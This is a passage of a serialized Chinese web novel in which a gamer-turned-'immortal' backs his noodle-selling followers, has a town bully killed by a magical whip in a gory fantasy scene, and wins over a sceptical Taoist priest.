“这粉真弹牙,入了酸辣汤味后更好吃了。” 感慨一声后,孙府大娘子继续吃了好几口,等到最后,她竟不知不觉吃完了一整碗的酸辣粉。 夏荷高兴得手帕都要攥出花来,不过在看到自家大娘子还想再吃一碗后,她赶忙拦住了大娘子。 “不可,大娘子,那店家说有孕在身不能吃多了,否则对身体不好。” 孙府大娘子想了想后,还是决定以孩子为重,只能失落地放下筷子,眼神略带不舍地从酸辣粉上挪开。 “......既然如此,你们便分食了剩下的酸辣粉吧。” 夏荷和春央点头应下,而孙府大娘子已经开始琢磨了。 ——若是不能食用这粉条,那她让人去弄点这汤汁,去做点酸辣面也行呀。 这么一想,孙府大娘子突然觉得自己还有些饿,不由开口。 “春央,你去让小厨房给我做点酸辣面过来。” 春央和夏荷对视一眼,从对方脸上看到了高兴。 ——太好了,大娘子可算是有食欲了,先前那般要心疼死他们了! 两人端着酸辣粉出了门去吃,这香味竟引来了一批小丫鬟们,各个嘴甜地喊姐姐,想尝尝这味。 春央性子温和,倒也同意,各给这些小丫鬟们分了点,让她们尝尝味。 果然,吃完了粉后,各个称好,甚至还有小丫鬟打听这酸辣粉是从哪里来的,想带回去给自家亲娘吃点。 夏荷自然将位置告知了她们。 而在赵府,则是另一番光景。 赵金构带回来的酸辣粉,则是被他送到了祖母房内。 六旬祖母,正被身旁丫鬟们服侍着吃着他带回来的酸辣粉。 老太太年龄大,精气神还在,这会抿着嘴,似乎在细细品味这酸辣粉的滋味,良久,评价道:“酸辣粉的这粉特殊,我当年走南闯北,这么大岁数了,竟然是第一次吃这样的粉,构儿有心了。” 赵金构忍住唇角笑意,上前递给祖母果子吃。 “有些辣,祖母吃点果子解辣。” 看着自家孙儿,赵老夫人心里欢喜了两分,吃掉一枚果子后,让伺候的两个丫鬟先退出去,这才问城外情况。 “城外情况如何?” 她作为活了许久的老人,对风险总有一种敏锐度。 赵金构微微停顿。 “孙儿觉得,城内压迫太深,城外很可能要反。” 他说话的声音很低,老人楞了片刻,叹息。 “劝他们布施,他们又何曾听过?只顾得去拼命搜刮民脂民膏,哪个肯往外吐东西?” 赵老夫人神色厌倦,一颗颗拨弄着手中握着的檀珠。 她沉声道:“收拾收拾东西,出城避避风头,你爹糊涂,估计不想出城,你用我钥匙打开私库,收拾好细软,等后天,我们便出城。” 赵金构立马明白了祖母的话,他比谁都清楚,若是由着事态发展,城内他们这样的富商,迟早会成为瓮中之鳖。 灾年,像他们这样无权但有钱的商户,无疑是一块人人都可以宰割的肥肉。 祖母所说去乡下避避风头,绝对是正确的选择,他们家有不少护卫,对付乡下偶然出现的流民够用,但是对付城内那些官兵可就不够看的了。 赵金构不敢耽误,连忙去收拾东西。 不过,刚才祖母说的话也让他来了兴趣。 ——那粉果然特殊,他觉得有利可图,这才将酸辣粉带回来让祖母评价,未曾想到,竟连祖母都没吃过这东西。 等到撤离出城后,他或许可以去做一做这粉的生意。 很快到了夜晚,张氏一行人摆摊摆到了一更,全天酸辣粉卖出去不少,当然,大多买粉的都是有点钱的,像家贫一些的,肯定是没有闲钱过来买一份的,中间还来了不少小丫鬟,四五个人拼出来一碗粉尝尝鲜。 进城实在是麻烦,张氏一行人索性开一个房打地铺睡觉。 在城内找了一家便宜的旅馆,五人买了一桶热水,洗漱一番草草睡下了。 这不对比还好,一对比,张氏五人均是分外想念仙师在山上给她们提供的住所。 ——洗漱方便极了,热水是随便取用的,不像这里,还要自己买水才能洗漱。 真是越对比,张氏才察觉仙师给的东西和她们以往的生活到达差别有多大。 再想到今日仙师护住了自己一行人,她不禁心头火热,下定决心要追随仙师一辈子。 而另一方面,被被张氏派回去的五人则是在斗坡村也摆了个小摊,不过他们的定价肯定不会是30文一碗,因为村人都没啥钱,所以他们是按照仙师之前给的定价,也是六文钱一碗,因价格便宜,来尝试的人也有不少。 当然了,来尝试的大部分都是在地瓜加工厂上工的工人,毕竟他们每天能挣100文到300文左右,花费六文钱买一碗酸辣粉,并不是什么特别奢侈的事情。 不过这样的话,推广效果不是很好,毕竟地瓜加工厂的工人数量只有几十来个,而附近的村民数量可比这要多太多。 于是五个人凑到一起,开始想对策。 其中一个妇人回想起仙师的教导,不禁面色严肃起来。 “你们可还记得仙师说过的话?” “莫非是仙师说的,不必太在意收入,只专注于推广酸辣粉?” “对,就是这句话,这岂不是说明,仙师从一开始便知道我们在村中的推广会遇到麻烦? 所以才提前用这话作为我们迷茫时的指点。” 其余四人一琢磨,好像是这个道理啊! 立马有人问该如何办,妇人看了一眼四人,犹豫道:“我说,咱们能不能让他们免费尝尝?只要吃到了酸辣粉,我敢保证,他们肯定上瘾。” 其中的一个男人摇头。 “不太好,你看先前我们卖6文钱一碗,转头免费让后面的人吃上了,那前面花钱买的人肯定有怨言。” 男人这话也有道理,五人继续绞尽脑汁地思索。 最后还是一个女人谨慎提议。 “我们能不能给分量减少,只给只够尝味的分量,这样既能当做宣传酸辣粉,也不会说让前面吃过的人心生不满。” 这想法一提出来,众人都觉得合理。 立即将一大碗酸辣粉纷纷改成了迷你碗的试吃装。 酸辣粉摊子独有的酸辣麻香味,很快吸引来了不少前来斗坡村寻找工作机会,亦或是过来学习番薯种植的人。 这些人中,有头一次来的,也有来了好几天的人。 “这味道,是那叫酸辣粉的东西吧?” “6文钱一碗,咱们是吃不起喽!” “我先前看张狗儿那老登得意洋洋地去买了碗粉去吃,切,不就是命好,被招收到加工厂去了么,要是我也能去的话,别说一碗,就是十碗我也能买。” 穿着补丁褂子的男人又是羡慕又是不服气。 这会,大伙不约而同地想到了地瓜加工厂这顶好的工作。 “...那加工厂啥时候还招人呐?” “不晓得嘞,你去问问张山管事。” 这伙人往酸辣粉的摊位走了几步,心想就算买不起,闻个味也成呀。 结果一过去,就看到那桌子上摆了不少小分量的酸辣粉。 为首的张二家的,正喊他们过去尝尝。 “尝尝味道吧,别嫌分量少啊,不要钱。” 还在围观的众人顿时一个激灵。 不要钱?真的假的?《 》 21、第21章 绞杀 立马有人问,“张二家的,不要钱,可是真的?” 张二娘子笑着不说话,将小份试吃装递给这些眼巴巴望着的人,众人顿时知晓了,这竟然是真的? 赶忙伸手去要那试吃装。 马褂男人眼疾手快,抢到了一份免费的粉,用筷子一夹,粉条q弹得紧,就是分量少,想来是免费的,也不敢多要求什么,只顾着闷头就吃。 迷你份的酸辣粉不过两口,就被马褂男人吃尽肚中,入口只觉得满口酸爽麻辣,甚是痛快,等到反应过来时,两口粉早就咽进肚中。 想再去要一份吃,结果张二家的说一人仅限一份,马褂男人叹了口气,蔫了吧唧地离开了酸辣粉小摊。 但是那股被勾出来的食欲却是再也不得安宁。 他不由自主地想着,等他哪天也去加工厂上工,非得买个几碗吃到撑才行。 不仅是马褂男人有这样的想法,先前手里有点钱,还觉得吃酸辣粉不值得的人,这会在吃了试吃装后,再也忍不住,转而买了一份正常装的酸辣粉,等到一眨眼的功夫,这碗酸辣粉就被他吞吃入腹,吃得他额间冒汗,浑身舒爽。 ——这才是生活啊。 等到晚上结束时,五人这才欣喜地发现,他们的试吃还是很有成果的,一下多了不少先前还在犹豫的人购买,就算不购买,想必酸辣粉的味道也已深入人心。 张氏和张二娘子连着推广十日,直到仙师给的钱消耗完毕,这才决定回山上去复命。 张二娘子这里还好说,他们五人收拾一番后便快速赶往潜灵山,而张氏那边,则是遇到了一些小麻烦。 张氏在决定撤离后,五人便提前收拾好了东西,临走前,张氏为了感谢黄掌柜,特意送了他一份免费的粉作为他这些日子的照应。 黄掌柜在得知张氏一行人要走后,并不稀奇。 ——这就对了,不然这么赚钱的粉摊,正常人谁会放弃呀,肯定是这五人又被派了新任务,不然不至于离开这里。 正和张氏说几句体面话的功夫,他身边的小孩儿急匆匆地跑过来,神色仓惶。 甚至来不及附耳过去,急吼吼地将消息传递回来。 “掌柜的,那位说县衙派人过来抓捕张掌柜她们了!现在县衙的人已经出动,一会就该到了!” 黄掌柜忍不住右眼皮狂跳,顾不上多说话,赶忙推着张氏走。 “快跑,你东西若是不着急用,就先放在我这里,我替你藏好了,你们五人先走。” 张氏内心砰砰直跳,但是想到仙师作为自己的后盾,先前那股慌乱很快就被缓解了不少。 她向着黄掌柜颔首道谢,“多谢黄掌柜,东西先放在你这里吧,我等有机会再来拿。” 五人没有犹豫,飞快地将东西塞进了黄掌柜的后厨内,而后快跑着离开。 看着这五人的背影,黄掌柜心里那叫一个着急。 ——那县衙出兵肯定是李德喊的人,怪不得他说这李德出了丑,怎不想着反击,合着先前是过来观察张氏一行人,确定没问题后,这才决定出手,只是这手段果然狠毒,一出手便是绝杀,带着县衙的兵,这是要让张氏一行人出不去,被逼死在城内啊! 越想越急,黄掌柜果断喊过来铺内一个活计看着摊位,自己则是快步赶往城门口。 他得亲眼看看张氏五人到底是个什么情况。 这几天时间里,他和张氏几人倒是慢慢熟悉起来,张氏说她们的背景乃是一位仙人,慈悲为怀,神通广大。 他给她们好的生活,好的工作,她们也自当回报仙师。 黄掌柜听得一阵迷糊,仙人?自己是不是听错了?这世道哪里有什么仙人! 稍微思索一番,黄掌柜认为对方应该是在搞抽象。 ——她们说的意思应该是,背后的高人,她们奉为神明,足可见那位高人必是位品节高尚之人! 黄掌柜自诩还是有些见识的,他知道,要想手下人替自己忠心耿耿地卖命,必须就得有足够多的付出。 不知道那位高人该是何等的爱护手下? 黄掌柜这么一想,再对比一下风仙县,顿觉自己酸得酸水直冒。 在和张氏五人聊天之际,黄掌柜确实觉得张氏几人均是好人,这年头坏人、恶人当道,他不愿意看着好人白白丧命。 照顾这五人,一开始他确实是存着利用的心态,但时间长了,却是多了几分想帮助对面的真心。 越想,他跑得就越快,等到他人到了城门时,却发现城门处正围了一圈。 黄掌柜心脏跳得快要蹦出来,伸手用力按了按胸口,挤到人群里伸长脖子去看,就看到在城门口,张氏五人被带着官兵的李德拦住。 他紧张得直捏袍角,奋力往前挤了几下,这才看到张氏五人身上均有一道鞭痕。 官兵将看热闹的人群往后使劲一推,黄掌柜跟着人流,被推得差点一屁股坐在地上。 心里顿时忍不住上火,要不是害怕官兵,他真想用全天下最肮脏下流的词汇去骂这群畜生们。 不过眼下顾不得这些,他赶紧稳了稳身子,像鹅一样伸长脖子往前看。 话说张氏五人,刚跑到城门口,本都能顺利出城,却终究还是慢了守城官兵一步。 这五人刚有惊无险出了城门,结果转头就被守城官兵上马追赶上。 李德骑在马上,笑得狰狞。 “跑?能跑得过爷么?先前爷在你那里吃的亏,这会要全部讨回来!” 边说,他边拿出长鞭,使劲抽打在五人身上。 几鞭子下去,张氏几人抬起胳膊去挡,胳膊立马就见了血。 黄掌柜看得心里直抽抽,心想这可如何是好,就算她们有背景,这会那高人能不能派人来救她们还是两回事啊? 尤其是这风仙县的官兵这般多,就算是来了,少不了也得扒一层皮才能走。 他忧心忡忡地看向张氏一行人,本以为会看到对方脸带恐惧,结果这五人均是眼神明亮,似乎对李德的刁难完全不害怕。 有人蹙眉,那好像也是因为鞭子打得疼了才皱眉的。 黄掌柜不敢吭声,围观群众也一片沉寂。 而李德看到她们这幅模样,顿时心里那股不爽劲先上来了。 他狞笑着下马,握着鞭子的手青筋四起。 嘴里还要威胁着。 “乡下来的臭娘们,你问问别人,谁不知道你德爷的名号?德爷名号一出,能止小儿夜啼,你们倒是不知者无畏,赶着来送死!” 张氏说不害怕是假的,但相比于害怕,她更相信仙师。 而此刻,姜定的屏幕前再次弹跳出来新的剧情选项。 【你的宣传工人再次被恶霸挑衅了!请选择你的应对方式:】 【a.无为而治,每一个个体都有自己的命数。】 【b.为成全大局而容忍一切,祈求恶霸放过自己的工人。】 【c.不管不顾就是干,当场绞杀恶霸,(未知选项...恶名或许会增长)。】 【d.先求饶一番,然后暗戳戳记仇,私底下惩治恶霸。】 ??? 姜定定睛一看,发现这些恶霸竟然还是上次踢馆的恶霸。 想到自己的一次纵容,竟然让这些恶霸敢蹬鼻子上脸,姜定忍不住怒从心底起,恶向胆边生,不管不顾地选择了c。 去他的理智! 他必须绞杀恶霸,自己都玩游戏了,还讲什么仁义礼智爱,现在他就是这修仙世界唯一的神,管他什么恶名不恶名的,杀就完了! 很快,选项c散发出金光,随即消散成为金色的颗粒,临结束前,游戏还留下了一句让他摸不着头脑的话。 【已检测到你的选择喜好,下次遇到类似的选择,游戏会代替你做选择......】 姜定:不是,等一下,怎么回事? 他就冲动了一下,结果告诉他以后类似事不用选了,直接替自己选择杀么? 本想去私聊游戏官方客服问问,但是转头一想,姜定又觉得询问有些多余。 ——下一次再遇到这么憋屈的选项时,他难不成还能选择其他窝囊至极的选项? 倒不如说,游戏倒是替他减负了,反正真每次让他选择的话,一百次他能选九十九次杀杀杀。 这么一想,姜定顿时舒服多了,也就不再纠结这个问题。 而张氏五人,在看向步步逼近的李德时,均是带了些紧张。 李德虽说还对先前被开水烫的那事有些恐惧,但是转念一想,他今个专门挑了个日头最大的白天,带了这么多人,若是这么多人都不能制约住这作乱的鬼,那大不了他再逃便是。 其实一开始鞭打张氏一行人时,他还有些紧张,生怕从这些人身上出现什么诡异,但是看到他打了也就是打了,毫无动静后,他顿时胆大起来。 ——若是有诡异早就在他鞭打第一下就出来了,哪能等这么久! 这会亲自持着鞭子上阵,李德内心深处滋生出一股想要将这五人全部杀死的冲动。 呵呵,反正他就不是个能忍的人,给了他不痛快的人,他自然是要找机会折磨死对方才对。 眼神划过上次他调戏过的女子,李德寻思一会那个女人最后杀。 等到距离足够近了,他抬手,将鞭子挥得虎虎生风。《 》 22、第22章 怪物 鞭子破风而去,黄掌柜甚至忍不住侧过头,不愿看这血腥的一幕,而在下一秒,那鞭子却直挺挺地停在了空中。 李德还没反应过来,只是感觉手中的鞭子变得沉重不已,他再次往下用力甩鞭子,岂料鞭子那头,似乎有人和他在对抗一般。 他这才察觉到不对,颤颤巍巍抬头去看,结果就看到那鞭子停在空中不动弹。 周围看热闹的百姓顿时齐齐地倒吸了口凉气,黄掌柜跟着去看,也看到了那鞭子的异样。 李德害怕了,使劲往下拉无果后,立即果断扔下鞭子就往马上跑。 而那鞭子仿佛蛇一般,迅速跟着他而去,直奔他脖颈而来。 在众人的一阵惊呼声后,那鞭子缠绕在李德脖颈间,头尾相连,鞭子不断地绞紧,李德被勒得直翻白眼,浑身发软,意识到这玩意的古怪后,他再也忍不住,对着周围官兵发火。 “瞎了眼了!还不快把这玩意砍断!” 呆愣住的官兵赶紧抽刀去砍鞭子,结果那鞭子不知怎么回事,竟然怎么也砍不断,不仅如此,官兵被吓得手软,一松开手,鞭子的尾部勾起刀子,竟在众人的注目下将利刃吞下。 ——场景实在是诡异惊奇,细细的鞭子,竟能吞下比自己大数倍的砍刀,所有人看得目不转睛,又情不自禁在心头浮出感慨。 ——是那家人来索命来了吧! 李德眼睁睁地看着那鞭子吞下砍刀,他惊恐地大叫,而声音却卡在脖颈间,像是被刀子隔开的鸭子发出沉闷的求救。 鞭子在众人的注目下,钻入李德口中,期间李德自然是拒绝万分,然而只要鞭子狠狠一勒紧他的脖颈,他不受控制地呼喊呻吟。 就在他呼喊的瞬间,鞭子像蛇一般钻入他体内,随即在所有人惊恐的目光中爆裂开来。 李德瞪大眼睛,脑袋咕噜噜滚落在地,而身子则是被鞭子拆的七零八落,血迹弥漫在空中,升腾起一阵骇人的血腥。 他身旁的其余人,则在反应过来后,立马跳上马背,使劲一夹马肚子。 而他们的动作始终不如鞭子快,那鞭子仿若活物,将跟着李德作恶的一行人全部绞杀干净。 等到这几人人头落地后,鞭子这才将这些人头一一串在一起,直奔城墙而去。 众人不敢动弹,只能呆愣着看着这几个恶霸的脑袋,被串成一条,挂在风仙县城墙大门处作为警告。 黄掌柜距离这现场还算近,那几个恶霸溅射出来的鲜血差点喷在他身上,好在他及时后退一步,这才没能弄脏衣服。 不过此刻,他更为惊讶地是刚才他所看到的一切。 先前张氏几人和他说仙人存在时,他还不相信,结果现在就看到这完全堪称诡异的画面! 联想到先前种种,黄掌柜突然一阵后怕。 ——还好自己当初决定对张氏几人散发善意,不然现在估计他的脑袋也会和这些恶霸一样,被摘下来挂在城门楼子上展示。 而其余百姓则是被这场景吓得浑身发抖。 有不少人当即跪在地上不敢动,生怕那鞭子将他也给击杀,还有被李德欺负过的人,则是满脸解气地对着天空对拜。 而至于那些官兵,早就能逃就逃,赶着回去复命去了。 张氏五人也被刚才那一幕给震撼到说不出话来。 正呆愣的时候,先前强迫她们上贡的那官兵像是躲避灾厄一般,朝着她们扔过来一块银子。 那银子撞在张氏的衣袍上,随即滚落在地,沾染上了一层黄土。 那官兵甚至连话都不敢说,在扔完了银子后,立马逃走了。 张氏五人:...... 不过仙师这手法,确实有够令人恐惧。 她们五人还好,毕竟先前早就听黄掌柜说过这李德是何许人物,张氏私以为,就算是将那李德千刀万剐也不过分,更何况仙师只不过是将他和那户人家一般,四分五裂,对付这等恶劣之徒,仙师手段还是太过于温和了。 死得其所的李德一行人:......不是,要不要听听你在说些什么?这叫手段温和? 而黄掌柜在一番犹豫后,毅然决然地出去和张氏一行人搭话。 等看清楚来人是黄掌柜后,张氏面色温和了几分。 “黄掌柜?你怎地来了?” 黄掌柜擦了擦脑门上的汗,瞥了几眼挂在城墙上的人头,颤颤悠悠道:“张掌柜,你先前说的仙师,可真是仙师?” 张氏双眼坚定,“当然,黄掌柜,仙师是真实存在的。” 黄掌柜在得到确认后,脑袋不禁回想起先前张氏说过的话。 ——潜灵山,那地方,还真有神仙? 原先那地诡异,无人敢去,现在摇身一变,竟成了仙人诞生之地? 黄掌柜百思不得其解之际,却听张氏道:“黄掌柜,若有人之后打听酸辣粉相关消息,还麻烦您代为转告,若想得到那粉,就来斗坡村买粉。” 张氏将消息传递给黄掌柜,自仙师表现出强悍的实力后,她甚至都不会考虑自家村子的村民安全问题。 ——先前那李德不就是个例子? 黄掌柜呆滞点头,等他反应过来后,就看到张氏一行人早就走远了。 虽说答应了代替传递消息,但黄掌柜私认为,经过城门口这一闹,哪里会有人去打听粉啊? 而在他回去后,关于张氏一行人在城门口的事,立即流传在大街小巷。 孙府。 夏荷急急忙忙地往回跑。 她早上本想去买一份酸辣粉,结果人没找到,倒是顺着人流,来到了城门口。 而等她人去了城门口后,这才看到张氏五人正被李德这恶霸刁难。 夏荷有些替这酸辣粉摊主可惜。 ——遇到李德这人,不死也得脱层皮啊。 本以为摊主可能会被李德收拾一顿带走后,夏荷却看到了令她恐惧不已的事。 那李德一行人竟然被某种看不到的力量禁锢,随后各个人头落地,悬挂在城门上。 竟有这等手段? 这摊主到底是什么人? 夏荷脸色很差,赶忙提着食盒往回跑,就想将此消息回报给自家大娘子。 等她进了屋,将这事一一道明后,春央,大娘子齐齐变了脸色。 “她们使的是不是什么妖法?” 大娘子不由地抚了抚自己的肚子,想起先前贪嘴吃了两碗粉,这会有些后悔。 ——万一对孩子不好呢? 夏荷赶忙跪着求大娘子,一双眼睛都哭肿成了核桃。 “大娘子您罚我吧,都怪我,不然您哪里会吃到那粉。” 春央跟着跪下来,“大娘子,我也有错,没能制止夏荷。” 大娘子叹了口气,让两人起来。 “都因是我害喜的缘故,你们去找大夫人,我听闻大夫人和一言道士相识,我若能请来一言道士,孩子也就安全了。” 春央退下去寻孙府的大夫人,而夏荷则是更为小心地伺候大娘子。 等到孙府大夫人知晓儿媳的请求后,也是不免有些微恼。 ——这陪嫁的大丫鬟都是怎么照顾主子的?外来的吃食就这样就入了口?况且还是怀孕的时候。 瞪了几眼春央后,到底是想到这孩子是孙府嫡子,勉强压住心中不满,冷淡开口。 “回去告诉大娘子,我这就托人去寻一言道士,至于你和夏荷,扣罚当月工钱,可有不满?” 春央赶紧跪着回:“没有。” 她和夏荷都是家生子,契约都捏在主家手里,这辈子也就跟着孙府大娘子过了,出现了这事,只能说大夫人没打死她们,都算心善。 孙府大夫人没理会春央,径直闭门。 而春央则是将这事回禀给了大娘子。 大娘子微微点头,看来腹中孩子可算是有救了。 而等孙府大夫人托人去寻那一言道士时,中间人却传来回话,说那一言道士云游去了。 孙府大夫人大惊,多番询问,这才问出一言道士去了那所谓的潜灵山。 一听到潜灵山的名字,她忍不住双脚发软。 ——去了那样的地方,她的亲孙可算是没救了! 谁都知道那地方有进无回,甚是诡异! 到底是不信邪,孙府大夫人点了几个家丁,让他们前往潜灵山脚下,时刻等着一言道士出来。 毕竟上山的话,谁也不会接下这任务,那可是死路一条。 但是等在山脚就安全多了。 而话说这一言道士李归一,此刻则是已经进了山内。 他先前在风仙县城门口看到那一幕,又打听到来人便是来自这潜灵山中,自然要过来一探究竟。 上山的路途中,李归一忍不住面色凝重。 ——这座山果然有蹊跷。 那妖物借着人形连杀数人,而后又大摇大摆地来到了这山内,想来妖物修为见涨,说不定潜灵山这么多年来的恶名,就是因为这大妖导致。 越想,李归一便越是谨慎了几分。 城门口时,他没当场捉拿妖物,一是怕伤及无辜,二是当时身上的符纸不多,怕到时候捉拿不住妖物,反而让那妖物恼怒后屠杀全城。 这才忍了下来,想回去收拾东西后直奔妖物老巢。 但是越往内走,李归一越是察觉到空中那股难言的压迫感。 ——或许,这大妖修为比他想象中的还要深厚!《 》 23-30 第23章 难辨 之后捉妖可得小心了。 李归一战战兢兢地爬山,而姜定此刻则开始查看自己的收获。 等到看到农田都栽种上农物,山下的地瓜加工厂办得红火,宣传值往上涨了二十个点,他就忍不住高兴。 点开矿产区域,工人们都在努力工作。 他目前所有物资兑换成铜板的话,那可是不少的财富。 不过姜定自然是不会这么做的,后期需要的材料肯定是个天文数字,除了开工资和扩张需要以外,决不能随便乱兑。 视察完自己的领地后,姜定却在地图上看到了标记着红色光点的坐标。 这个标记的意思是,对他有恶意的人入侵了。 姜定顿时打起精神,有些期待。 ——莫不是这游戏的打斗剧情要来了? 顿时兴奋,连忙朝着那处红点跑过去。 而李归一此刻终于到了一处天地。 这里土地黢黑,像是被火烧焦了后的模样,李归一蹲下去用手指碾了碾粉尘,随后沉思——这看着像是某种矿产。 再往前走,他便看到了触目惊心的一幕。 只见前方矿脉聚集,而在矿脉之上,竟然是数个狼狈瘦弱的村人! 这些人均衣衫褴褛,各个背上背着满满的矿石,艰难地运输着矿石,模样看着像是被奴役了很久。 李归一眼中顿时显现出愤怒。 可恶,看来这妖物竟然掳走了这般多的村人,让这些人替它采集这山间矿石!虽说不知道这矿石对妖物有何用处,但是就凭这这些人的惨样,他敢肯定这些人在这里一定过得很苦。 像是再也忍不住一般,李归一率先前进了几步,站在了人群中。 既然已经决定拼了命去救人,李归一一把掀翻了一个劳丁身上背负着的背篓。 那背篓咕噜噜地翻滚在地,里面的矿石撒得遍地都是。 被打翻背篓的男人还未反应过来,就被李归一紧紧握住手臂。 ——眼瞅着自己满满的一背篓矿产被人掀翻在地,男人恼火地看向李归一,结果就看到这人一脸痛心疾首,对着他关切开口。 “小兄弟,你受苦了,你们赶紧放下背篓逃走,那妖物我来应对!” 而男人则是沉默片刻,随后朝着工头大喊。 “头儿,这有个疯子,赶紧找人把他扔出去,别让仙师看到了心烦!” 李归一还未做动作,就看到好几个男人快跑着过来,看着像是要对他动手的模样。 他忍不住疑惑,不对啊,这些人并没有被妖物操控的气息,怎么听到有人来救他们了,不高兴就算了,反而还要拿下自己? 只是已由不得他犹豫,这几人朝他扑过来,李归一轻巧地跳跃数下,将这些人的攻击化于无形,随后又点了他们的穴道。 等看着这几人都不能动弹后,李归一这才痛心疾首地呼喊。 “这妖物欺人太甚!” 可见这些人是被打怕了,只要逃跑,便会迎来妖物一次又一次的虐待,自然不会对来解救他们的人有什么好感了。 面对这情况,李归一只能对着众人保证。 “你们放心,这妖物奴役你们许久,你们的行为我也能理解,不过此地不宜久留,你们趁机跑到山下,我替你们拖延时间,这次,你们绝对不会被这妖物抓到!” 本以为多少他的话会有点作用,结果看到这些人一副看傻子的难言表情后,李归一就算再心善的人也不免生出了恼怒。 ——这些人到底是怎么回事!完全不领他的情啊! 先前解救过不少人的李归一,这会也不由自主地怀疑,自己是不是太过于自作多情,或许这些村民根本就不希望他来解救他们? 脑内还没想通,李归一却察觉到了不对劲。 坏了!有股异常强悍的气息来了! 想必是那大妖,既然这些人不愿意走,便暂时留他们在这里,反正等他拿下大妖,他们迟早能下山和家人团聚。 想到这里,李归一不再和这些人多废话,转而专心投入眼下即将到来的斗争。 在他全神贯注之际,很快就发现眼前不远处,一道金光闪现,随即烟雾淡淡流泻。 而后穿着淡青色袍子的男人缓步而出。 李归一定睛一看,险被对方那副模样震撼到失语。 ——这妖物倒是长了一副好皮相,只是他身后那金龙是如何来的? 妖物不能御龙,想必是障眼法。 他深呼一口气,生怕自己在战斗中分心,尽量不去多看对方的脸。 李归一手心一动,一道破咒符出现在手指中。 “去!” 随着他的一声爆喝,那张符纸破空而去,直挺挺地冲向眼前男人。 而姜定则是看着眼前朝自己缓慢接近的符纸,随后用鼠标轻轻点击这张符纸。 ——这符纸还给了特写,想必是剧情道具吧? 眼看对方伸手接过了自己的符纸,李归一随即一愣,随即便是铺天盖地的震撼。 这怎么可能? 符纸在使用之际,便会化作天地法则,那可是无形之物,他是如何能空手接这已经算不上有实体的符纸的? 不过,接下了符纸,他也就能使用那张符纸了! 李归一连忙念咒,本以为这咒会破解对方的所有伪装,结果念完咒,看着对方悠闲自得地站在原地,他不由地有些心态微崩。 不是,这怎么可能? 这符纸是他家独传千年的术法,也算是他成名后的招牌符纸,眼下却对对方丝毫用处没有? 他甚至眼尖地看到,对方的那条金龙似乎在背后游得更快活了几分 而姜定则是有些好奇地看向屏幕中身穿道袍的男人。 随后点击上去查看他的个人信息。 【姓名:李归一 道名:一言 年龄:48 魅力:70 天赋:吟游诗人(或许是能有点用的天赋)】 看到最后一行字的天赋时,姜定怀疑自己看错了。 等一下,他一个道士,为什么天赋会是吟游诗人啊! 什么鬼? 而且 姜定才注意到,这人竟然是个道士,只是不知道剧情出现道士的原因是? 在他沉思的时间里,选项总算是出来了。 【哎呀,似乎是遇到了很有名气的道士呢,他看上去像是对你有些意见,坚持要与你辩论一番,你同意吗?】 这个剧情倒是有意思,姜定没犹豫,点了同意。 【道士质问你为何要滥杀无辜,请解释:】 【A.杀就杀了,关你什么事?】 【B.滚,再废话连你也杀。】 【C.质问他是否懂滥杀无辜四个字的意思。】 感觉AB选项都挺适合他的啊? 但是仔细一琢磨,姜定觉得还是选择C为好,毕竟这道士是剧情人物,他表现得太没素质或许会对后续剧情有坏影响。 本着可持续发展的信念,姜定很自信地选择了C 话说回来,这道士简直是莫名其妙,那些恶霸坏事作尽,他别说杀了,甚至还想再多杀几次。 本以为还会有什么剧情,结果在他选完了这个选项后,游戏内却再也没了动静。 点了点道士,有提示弹出来。 【道士被你质问在原地沉默,还在沉思中】 姜定顿觉无语,随后果断撤离。 而李归一在听到那大妖的反问后,楞在原地。 他没有反应之际,对面穿淡青色袍子的男人却自顾自开口。 “我从不会杀一个好人,也绝对不放过任何一个恶人,若你想质问我,就先搞清楚我诛杀的到底是不是人。” 李归一觉得嗓子有些干,他抬头去看,对方一动不动,那张美得惨绝人寰的脸庞,此刻透露出几分厌倦的神色。 而这时,却有一人快步走上前来,挡住了那大妖。 李归一抬眸,结果发现这妇人有些眼熟。 还没等他说话,张氏先急促地开口。 “道士!你怎地好坏不分?仙师哪里有杀无辜,那几人可谓是死不足惜!” 紧接着,张氏将那些恶霸做过的恶全部一一罗列出来,每个罪行都问得他哑口无言。 李归一反驳张氏被大妖控制,而张氏则让他去风仙县,去城里随便去问那几人到底是什么人。 最后了张氏还要再嘲讽他一句。 “道士你若真想替世人做善,便该去惩治恶霸,何苦来潜灵山无故惊扰仙师,为难我们,仙师为我们实在是牺牲了太多了!” 李归一顿时沉默了。 而这时他看向那大妖,却发现不知何时,那大妖竟然消失不见了。 倒是眼前的张氏气不过,非得拉着他让他亲眼看看神迹。 因念着张氏是女子,李归一不敢还手,只能被动地被她揪着往前走。 等到位置时,张氏撒手。 “道士,你游历四方,你可知矿工的工资一日多少文?” 李归一有些懵逼,不知道为何对方会突然提到这个问题,只能从脑内回忆过往的游历。 良久,他摇头苦笑。 “贫道的确不知。” 张氏盯着他的眼睛,缓缓道。 “往常,最好的年头,一个壮年从卯时干到亥时,一日也不过100文。” “而这里,他们只需要从辰时做到酉时,且中途有一个时辰吃饭休息,但是拿到的钱却是300文。” 李归一听得惊呆了。 ——难道,真是自己误解了那大妖? 不不不,刚才他展露的一手,极有可能不是妖,而真是这些人口中的神! 李归一还没消化完这些信息,又被张氏带到吃饭的地方。 “瞧见了没有,饭菜价格对比外面,简直就是仙师发善心。” 李归一瞪大眼睛,努力想看清楚那饭菜后标注的价格。 等到看到野菜包子2文一个后,他忍不住对比城内价格。 城内现在一个素包子,估计得卖到10文了。 就这样,张氏还没停,而是带着李归一去了宿舍,看了还在开荒的村人们。 一路上,李归一先是惊叹于住所的神奇,随后又感慨这里竟然还真能赚钱。 这会他是真信了大半。 毕竟去的路上,这些人在工作时候满带笑容,不像是被逼的,整个下午,他跟在张氏身后,静静地感受潜灵山上这份令人放松陶醉的氛围。 等到全部逛完后,李归一有些羞愧地抬手。 “真是对不住,张娘子,我确实没想到这乱世竟然还会有这样的地方。” 张氏语气骄傲。 “道士,你知错就好,一开始我刚遇到仙师,也是恐惧占了上风,但是等我深入了解仙师后,越来越能理解他的慈悲心软。我们这般弱小的人,仙师却能体恤我们,给我们这般优越的生活,我想,能生活在这里,是每一个人都觉得幸运的事情吧。” 李归一点点头,衷心道:“确实如此,贫道也为自己的狭隘对那位说声抱歉。” 他现在虽说解开了对姜定的疑惑,但是依旧不会这么快就相信所谓的仙师。 不过,总归来说,这潜灵山确实弄得不错,至少这些人是真心实意地热爱着这里的工作。 李归一和张氏道别,随后直奔风仙县。 ——他得亲自确认张氏口中的那几个恶霸到底是不是如此。 而就在他刚出去没多久,便被几个家丁拦住。 这家丁对着他盈盈一拜,神色谄媚。 